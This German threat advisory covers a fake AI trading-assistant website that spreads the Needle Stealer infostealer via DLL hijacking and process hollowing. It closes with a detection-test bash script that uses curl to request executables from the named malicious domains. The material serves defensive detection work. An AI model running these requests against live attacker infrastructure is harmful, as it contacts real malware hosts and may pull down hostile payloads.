Gefälschte Handels-Website installiert Malware, die Browser kapert

Zusammenfassung

Eine betrügerische Website, die einen KI-gesteuerten Handelsassistenten bewirbt, wird verwendet, um den Needle Stealer Infostealer zu verbreiten. Die Infektionskette basiert auf DLL-Hijacking und Prozess-Hollowing, um die Malware in RegAsm.exeeinzuschleusen, damit sie sich in legitime Systemaktivitäten einfügt. Sobald aktiv, sammelt der Stealer Browserdaten, zielt auf Kryptowährungs-Walllet-Informationen und kann bösartige Browser-Erweiterungen einsetzen, um die Kompromittierung zu vertiefen. Die Kommunikation mit der vom Angreifer kontrollierten Infrastruktur erfolgt über mehrere HTTP-API-Endpunkte.

Untersuchung

Forscher haben den Infektionsfluss zu einem ZIP-Archiv zurückverfolgt, das von tradingclaw.proheruntergeladen wurde, das einen DLL-Loader namens iviewers.dllenthielt. Dieser Loader ließ eine zweite Stufe DLL fallen, die RegAsm.exe aushebelte und den Needle Stealer auf Basis von Golang startete. Weitere Analysen zeigten, dass der Stealer versteckte ZIP-Archive enthielt, die bösartige Browser-Erweiterungen zusammen mit einer Konfigurationsdatei enthielten, die seine Kommando-und-Kontroll-Server definierte.

Abmilderung

Benutzer sollten vermeiden, Software von nicht vertrauenswürdigen Webseiten herunterzuladen und immer die Signaturen der Herausgeber überprüfen, bevor sie eine Installation durchführen. Sicherheitsteams sollten regelmäßig installierte Browser-Erweiterungen prüfen und alle entfernen, die unautorisiert oder verdächtig erscheinen. Netzwerküberwachung sollte konfiguriert werden, um den Verkehr zu den bekannten bösartigen Domänen und IP-Adressen des Angriffs zu erkennen. Endpoint-Schutz-Tools sollten ebenfalls auf die Erkennung von DLL-Hijacking-Verhalten und Prozess-Hollowing-Techniken abgestimmt werden.

Reaktion

Verteidiger sollten die Endpunkt-Telemetrie auf Ausführungen von iviewers.dll und Anzeichen für Injektionen in RegAsm.exeüberprüfen. Die identifizierten Kommando-und-Kontroll-Domänen und IP-Adressen sollten auf Firewall- oder Proxy-Ebene blockiert werden. Sicherheitsteams sollten Dateien, die den gemeldeten Hashes oder Dateinamen entsprechen, isolieren, verdächtige Erweiterungen von %LOCALAPPDATA%PackagesExtensionsentfernen und die Anmeldedaten betroffener Konten zurücksetzen. Alle potenziell betroffenen Kryptowährungs-Wallets sollten ebenfalls auf unautorisierte Aktivitäten überprüft werden.

Simulationsausführung

Voraussetzung: Die Telemetrie- & Basislinien-Vorprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die dazu entworfen wurde, die Erkennungsregel auszulösen. Die Befehle und Narrative MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:
  Ein Gegner, der die Needle Stealer Malware erworben hat, hostet sie auf der bösartigen Domäne tradingclaw.pro. Der Angreifer überredet ein Opfer dazu, einen bösartigen Link zu öffnen (z. B. über eine Phishing-E-Mail). Der Browser des Opfers stellt eine HTTP-GET-Anfrage an http://tradingclaw.pro/stealer.exe, die vom Proxy protokolliert wird. Da die URL den genauen String enthält tradingclaw.pro, bewertet sich die Bedingung der Sigma-Regel (url|contains) als wahr und erzeugt einen Alarm.

  Um dies in einer Testumgebung zu replizieren, geben wir direkt eine curl Anfrage an die bösartige Domäne aus. Die Anfrage wird so gestaltet, dass sie wie typischer Nutzerverkehr aussieht (Standard User-Agent, keine speziellen Header), sodass nur die Domänenübereinstimmung den Alarm auslöst.

• Regressionstest-Skript:

  #!/usr/bin/env bash
  # ------------------------------------------------------------
  # Simulation bösartiger Zugriffe zur Auslösung der "Malicious TradingClaw"
  # Erkennungsregel.
  # ------------------------------------------------------------
  
  set -euo pipefail
  
  # Definiere die bösartigen URLs (exakte Strings, die von der Regel verwendet werden)
  MALICIOUS_URLS=(
      "http://tradingclaw.pro/stealer.exe"
      "https://studypages.com/download/needle.exe"
  )
  
  for url in "${MALICIOUS_URLS[@]}"; do
      echo "[*] Fordere ${url}" an
      # Verwende einen realistischen User-Agent, um einen Browser nachzuahmen
      curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, wie Gecko) Chrome/124.0 Safari/537.36" 
           -s -o /dev/null "${url}"
  done
  
  echo "[+] Simulation abgeschlossen."

• Bereinigungskommandos:

  # Durch die curl-Anfragen werden keine dauerhaften Artefakte erstellt.
  # DNS-Cache leeren, um versehentliche Wiederverwendung der Domäne bei späteren Tests zu vermeiden.
  if command -v ipconfig >/dev/null 2>&1; then
      ipconfig /flushdns
  elif command -v systemd-resolve >/dev/null 2>&1; then
      systemd-resolve --flush-caches
  fi
  echo "[+] Bereinigung abgeschlossen."

Ende des Berichts